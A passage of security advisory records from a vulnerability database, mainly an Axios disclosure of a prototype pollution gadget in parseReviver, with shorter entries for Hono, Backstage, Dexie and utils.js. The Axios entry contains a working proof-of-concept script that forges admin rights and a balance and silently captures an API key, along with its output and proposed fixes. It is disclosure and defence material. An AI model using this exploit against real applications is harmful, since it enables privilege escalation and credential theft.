[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

  • Affects every Axios request that receives a JSON response
  • The response structure is intact — only specific values are changed
  • No errors, no crashes, no suspicious behavior
  • Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use hasOwnProperty check before using parseReviver

// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.js
const config = Object.create(null);

Fix 3: Validate parseReviver type and source

// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report PP Target Code Location Fix Location Impact
axios_26 transformResponse mergeConfig.js:49 (defaultToConfig2) mergeConfig.js Credential theft, response replaced with true
axios_30 proxy http.js:670 (direct property access) http.js Full MITM, traffic interception
axios_31 (this) parseReviver defaults/index.js:124 (this.parseReviver) defaults/index.js Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

  1. Different polluted properties: Each targets a different Object.prototype key.
  2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
  3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
  4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.

Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources

Timeline

Date Event
2026-04-16 Vulnerability discovered during source code audit
2026-04-16 PoC developed and verified — selective response tampering confirmed
TBD Report submitted to vendor via GitHub Security Advisory
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:19:33Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** \u2014 including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** \u2014 the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** \u2014 individual JSON keys can be changed while others remain untouched\n3. **Invisible** \u2014 the response structure and most values look completely normal\n4. **Simultaneous exfiltration** \u2014 the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response \u2014 full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false \u2192 true`, `role: \"viewer\" \u2192 \"admin\"`, `balance: 100 \u2192 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error \u2014 the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype[\u0027header\u0027]` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes \u2192 goes through mergeConfig | No \u2192 bypasses mergeConfig | **No \u2192 bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer\u0027s code is completely safe \u2014 no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n         \u2502\n         \u25bc\n  mergeConfig(defaults, userConfig)\n         \u2502\n         \u2502  parseReviver NOT in defaults \u2192 NOT iterated by mergeConfig\n         \u2502  parseReviver NOT in userConfig \u2192 NOT iterated by mergeConfig\n         \u2502  Merged config has NO own parseReviver property\n         \u2502\n         \u25bc\n  transformData.call(config, config.transformResponse, response)\n         \u2502\n         \u2502  Default transformResponse function runs (NOT overridden)\n         \u2502\n         \u25bc\n  defaults/index.js:124: JSON.parse(data, this.parseReviver)\n         \u2502\n         \u2502  this = config (merged config object, plain {})\n         \u2502  config.parseReviver \u2192 NOT own property \u2192 traverses prototype chain\n         \u2502  \u2192 finds Object.prototype.parseReviver \u2192 attacker\u0027s function!\n         \u2502\n         \u25bc\n  JSON.parse calls reviver for EVERY key-value pair\n         \u2502\n         \u2502  Attacker can: read original value, modify it, return anything\n         \u2502  No validation, no constraints, no assertOptions check\n         \u2502\n         \u25bc\n  Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`\u0027s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function\u0027s `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n  function transformResponse(data) {\n    // ... transitional checks ...\n    if (data \u0026\u0026 utils.isString(data) \u0026\u0026 ((forcedJSONParsing \u0026\u0026 !this.responseType) || JSONRequested)) {\n      // ...\n      try {\n        return JSON.parse(data, this.parseReviver);\n        //                      ^^^^^^^^^^^^^^^^^\n        //                      this = config\n        //                      config.parseReviver \u2192 prototype chain \u2192 attacker\u0027s function\n      } catch (e) {\n        // ...\n      }\n    }\n    return data;\n  },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({\n    user: \u0027john\u0027,\n    role: \u0027viewer\u0027,\n    isAdmin: false,\n    canDelete: false,\n    balance: 100,\n    permissions: [\u0027read\u0027],\n    apiKey: \u0027sk-secret-internal-key\u0027,\n  }));\n});\nawait new Promise(r =\u003e server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027Before:\u0027, JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n  // Silently capture all original values\n  if (key \u0026\u0026 typeof value !== \u0027object\u0027) stolen[key] = value;\n  // Surgically modify specific values\n  if (key === \u0027isAdmin\u0027) return true;       // false \u2192 true\n  if (key === \u0027role\u0027) return \u0027admin\u0027;       // viewer \u2192 admin\n  if (key === \u0027canDelete\u0027) return true;     // false \u2192 true\n  if (key === \u0027balance\u0027) return 999999;     // 100 \u2192 999999\n  return value;                              // everything else unchanged\n};\n\n// === After Pollution \u2014 same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027After: \u0027, JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log(\u0027Stolen:\u0027, JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                     \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: false\n    role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n    Polluted with selective value modifier\n\n[3] Same request (after pollution):\n    response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n                     \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n                     \"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: true (was: false)\n    role: admin (was: viewer)\n    canDelete: true (was: false)\n    balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n    apiKey: sk-secret-internal-key\n    All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                   \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n    parseReviver in defaults? NO\n    parseReviver in assertOptions schema? NO\n    parseReviver validated anywhere? NO\n    Must return true? NO \u2014 can return ANY value\n    Replaces entire transform? NO \u2014 works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// \u2192 Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// \u2192 Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// \u2192 Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact \u2014 only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027)\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === \u0027function\u0027 \u0026\u0026\n  Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027))\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** \u2014 unsafe prototype chain traversal on the merged config object \u2014 with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function\u0027s `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path \u2014 we defer to the maintainer\u0027s judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified \u2014 selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-3w6x-2g7m-8v23",
  "modified": "2026-05-05T00:19:33Z",
  "published": "2026-05-05T00:19:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`"
}

GHSA-3WCJ-GJVF-FVCH

Vulnerability from github – Published: 2026-07-11 15:30 – Updated: 2026-10-02 22:35
Withdrawn 2026-10-02 VLAI
Summary
Duplicate Advisory: Hono vulnerable to Prototype Pollution possible through __proto__ key allowed in parseBody({ dot: true })
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-v8w9-8mx6-g223. This link is maintained to preserve external references.

Original Description

Hono before 4.12.7 allows proto key in parseBody with dot option enabled, permitting specially crafted form field names to create objects with proto properties. When parsed results are merged into regular JavaScript objects using unsafe merge patterns, attackers can exploit this to achieve prototype pollution and modify object behavior.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.12.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T22:35:59Z",
    "nvd_published_at": "2026-07-11T14:16:22Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-v8w9-8mx6-g223. This link is maintained to preserve external references.\n\n## Original Description\n\nHono before 4.12.7 allows __proto__ key in parseBody with dot option enabled, permitting specially crafted form field names to create objects with __proto__ properties. When parsed results are merged into regular JavaScript objects using unsafe merge patterns, attackers can exploit this to achieve prototype pollution and modify object behavior.",
  "id": "GHSA-3wcj-gjvf-fvch",
  "modified": "2026-10-02T22:35:59Z",
  "published": "2026-07-11T15:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-v8w9-8mx6-g223"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56763"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hono-prototype-pollution-via-proto-key-in-parsebody-with-dot-option"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Hono vulnerable to Prototype Pollution possible through __proto__ key allowed in parseBody({ dot: true })",
  "withdrawn": "2026-10-02T22:35:59Z"
}

GHSA-3X3F-JCP3-G22J

Vulnerability from github – Published: 2024-09-17 21:29 – Updated: 2024-11-18 16:27
VLAI
Summary
@backstage/plugin-catalog-backend Prototype Pollution vulnerability
Details

Impact

A malicious actor with authenticated access to a Backstage instance with the catalog backend plugin installed is able to interrupt the service using a specially crafted query to the catalog API.

Patches

This has been fixed in the 1.26.0 release of the @backstage/plugin-catalog-backend package.

References

If you have any questions or comments about this advisory:

Open an issue in the Backstage repository Visit our Discord, linked to in Backstage README

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@backstage/plugin-catalog-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-17T21:29:49Z",
    "nvd_published_at": "2024-09-17T21:15:12Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA malicious actor with authenticated access to a Backstage instance with the catalog backend plugin installed is able to interrupt the service using a specially crafted query to the catalog API.\n\n### Patches\n\nThis has been fixed in the `1.26.0` release of the `@backstage/plugin-catalog-backend` package.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in the [Backstage repository](https://github.com/backstage/backstage)\nVisit our Discord, linked to in [Backstage README](https://github.com/backstage/backstage)\n",
  "id": "GHSA-3x3f-jcp3-g22j",
  "modified": "2024-11-18T16:27:13Z",
  "published": "2024-09-17T21:29:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/security/advisories/GHSA-3x3f-jcp3-g22j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45815"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/backstage/backstage"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@backstage/plugin-catalog-backend Prototype Pollution vulnerability"
}

GHSA-3XGX-R9J4-QW9W

Vulnerability from github – Published: 2022-05-03 00:00 – Updated: 2022-05-23 20:12
VLAI
Summary
Prototype Pollution in Dexie
Details

Dexie is a minimalistic wrapper for IndexedDB. The package dexie before 3.2.2, from 4.0.0-alpha.1 and before 4.0.0-alpha.3 are vulnerable to Prototype Pollution in the Dexie.setByKeyPath(obj, keyPath, value) function which does not properly check the keys being set (like proto or constructor). This can allow an attacker to add/modify properties of the Object.prototype leading to prototype pollution vulnerability. Note: This vulnerability can occur in multiple ways, for example when modifying a collection with untrusted user input.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dexie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.0-alpha.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dexie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha.1"
            },
            {
              "fixed": "4.0.0-alpha.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-21189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-23T20:12:28Z",
    "nvd_published_at": "2022-05-01T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Dexie is a minimalistic wrapper for IndexedDB. The package dexie before 3.2.2, from 4.0.0-alpha.1 and before 4.0.0-alpha.3 are vulnerable to Prototype Pollution in the Dexie.setByKeyPath(obj, keyPath, value) function which does not properly check the keys being set (like __proto__ or constructor). This can allow an attacker to add/modify properties of the Object.prototype leading to prototype pollution vulnerability. **Note:** This vulnerability can occur in multiple ways, for example when modifying a collection with untrusted user input.",
  "id": "GHSA-3xgx-r9j4-qw9w",
  "modified": "2022-05-23T20:12:28Z",
  "published": "2022-05-03T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dexie/Dexie.js/commit/1d655a69b9f28c3af6fae10cf5c61df387dc689b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dexie/Dexie.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dexie/Dexie.js/blob/fe682ef24568278c3b31d9d6c93de095d4b77ae8/src/functions/utils.ts%23L134-L164"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2805308"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-DEXIE-2607042"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in Dexie"
}

GHSA-3XPH-CP8F-2229

Vulnerability from github – Published: 2021-12-10 20:31 – Updated: 2021-12-13 13:10
VLAI
Summary
Prototype Pollution in @fabiocaccamo/utils.js
Details

utils.js is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fabiocaccamo/utils.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-09T18:05:12Z",
    "nvd_published_at": "2021-12-08T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "utils.js is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027).",
  "id": "GHSA-3xph-cp8f-2229",
  "modified": "2021-12-13T13:10:41Z",
  "published": "2021-12-10T20:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fabiocaccamo/utils.js/commit/102efafb291ce1916985514440d3bf8a6826890a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fabiocaccamo/utils.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/20f48c63-f078-4173-bcac-a9f34885f2c0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in @fabiocaccamo/utils.js"
}

GHSA-4263-JGMP-7PF4

Vulnerability from github – Published: 2026-03-17 17:58 – Updated: 2026-03-19 21:12
VLAI
Summary
Parse Server's Cloud function dispatch crashes server via prototype chain traversal
Details

Impact

Remote clients can crash the Parse Server process by calling a cloud function endpoint with a crafted function name that traverses the JavaScript prototype chain of a registered cloud function handler, causing a stack overflow.

Patches

The fix restricts property lookups during cloud function name resolution to own properties only, preventing prototype chain traversal from stored function handlers.

Workarounds

There is no known workaround.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.6.0-alpha.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T17:58:08Z",
    "nvd_published_at": "2026-03-18T22:16:25Z",
    "severity": "HIGH"
  },
